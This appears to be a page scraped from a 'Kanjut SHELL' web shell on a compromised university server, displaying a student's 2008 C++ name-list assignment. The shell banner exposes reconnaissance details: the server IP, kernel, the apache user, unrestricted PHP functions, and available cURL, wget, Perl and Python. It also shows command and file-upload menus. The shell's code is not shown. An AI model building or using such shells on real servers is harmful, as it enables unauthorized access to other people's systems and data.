Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.222.20.3
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/cjabbott/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cjabbott/assign6.cpp
//      File name:      assign6.cpp
//      Author:         Christie Abbott
//      Instructor:     Dr. Wang
//      Due Date:       April 2, 2008
//      Compiling:      g++ assign6.cpp
//      Execution:      ./a.out
//
//      Goal: The program will allow the user to insert a name, find
//           a name, print the names in a list, sort the list, and quit.
//


#include <iostream>

using namespace std;

const int MAX = 100;

class List
{
	string name[MAX];
	int length;
public:
	List()
	{
		length = 0;
	}
	int Length() const
	{
		return length;
	}
	bool IsFull() const
	{
		return(length == MAX);
	}
	bool IsEmpty() const
	{
		return(length == 0);
	}
	void Insert(string aName)
	{
		name[length] = aName;
		length ++;
	}
	void Print() const
	{
		for( int k = 0; k < length; k ++ )
		cout << name[k] << endl;
	}
	bool IsPresent( string aName) const
	{
		bool done = false;
		for( int k =0; k < length &&! done; k ++)
			if( name[k] == aName)
				done = true;
		return done;
	}
	void SelSort();
};
void List :: SelSort()
{
	string temp;
	int passCount;
	int minIndex;
	for( passCount = 0; passCount < length-1; passCount ++)
	{
		minIndex = passCount;
		for( int k = passCount+1; k < length; k ++ )
		{
			if( name[minIndex] > name[k] )
				minIndex = k;
		}
		temp = name[minIndex];
		name[minIndex] = name[passCount];
		name[passCount] = temp;
	}
}
void menu();
void process( char, List&);

int main()
{
	List myList;
	char ch;
	
	menu();
	cin >> ch;
	while( tolower(ch) != 'q')
	{
		process( ch, myList);
		menu();
		cin >> ch;
	}
	
	getchar();
	return 0;
}
void menu()
{
	cout << "I	 Insert First, Middle Initial, & Last Name\n";
	cout << "F	 Find a Name\n";
	cout << "P	 Print the list of names\n";
	cout << "S	 Sort the list in ascending order\n";
	cout << "Q	 Quit\n";
	cout << "\n Choose an operation: ";
}

void process( char ch, List& myList)
{
	string datum;
	string dummy;
	switch( toupper(ch) )
	{
		case 'I':
			cout << "Input a name: ";
			getline( cin, dummy );
			getline( cin, datum );
			myList.Insert(datum);
			cout << "The list is:\n ";
			myList.Print();
			cout << "Type any key to continue\n";
			getchar();
			break;
		 case 'S':
                        myList.SelSort();
                        cout << "The list is: ";
                        myList.Print();
                        cout << "\nType any key to continue..\n";
                        getchar();
                        break;

		case 'P':
                        cout << "The list is: ";
                        myList.Print();
                        cout << "\n\nType any key to continue..\n";
                        getchar();
                        break;
                case 'F':
                        cout << "Input a name to be found: ";
			getline( cin, dummy );
                        getline( cin, datum );
                        if( myList.IsPresent(datum) )
                                cout << datum << " is in the list.\n";
                        else
                                cout << datum << " isn't in the list.\n";
                        cout << "\n\nType any key to continue..\n";
                        getchar();
                        break;
                default:
                        cout << "\nInvalid input.\n";
                        cout << "\n\nType any key to continue..\n";
                        getchar();

	}
	return;
}

Stv3n404 - 2023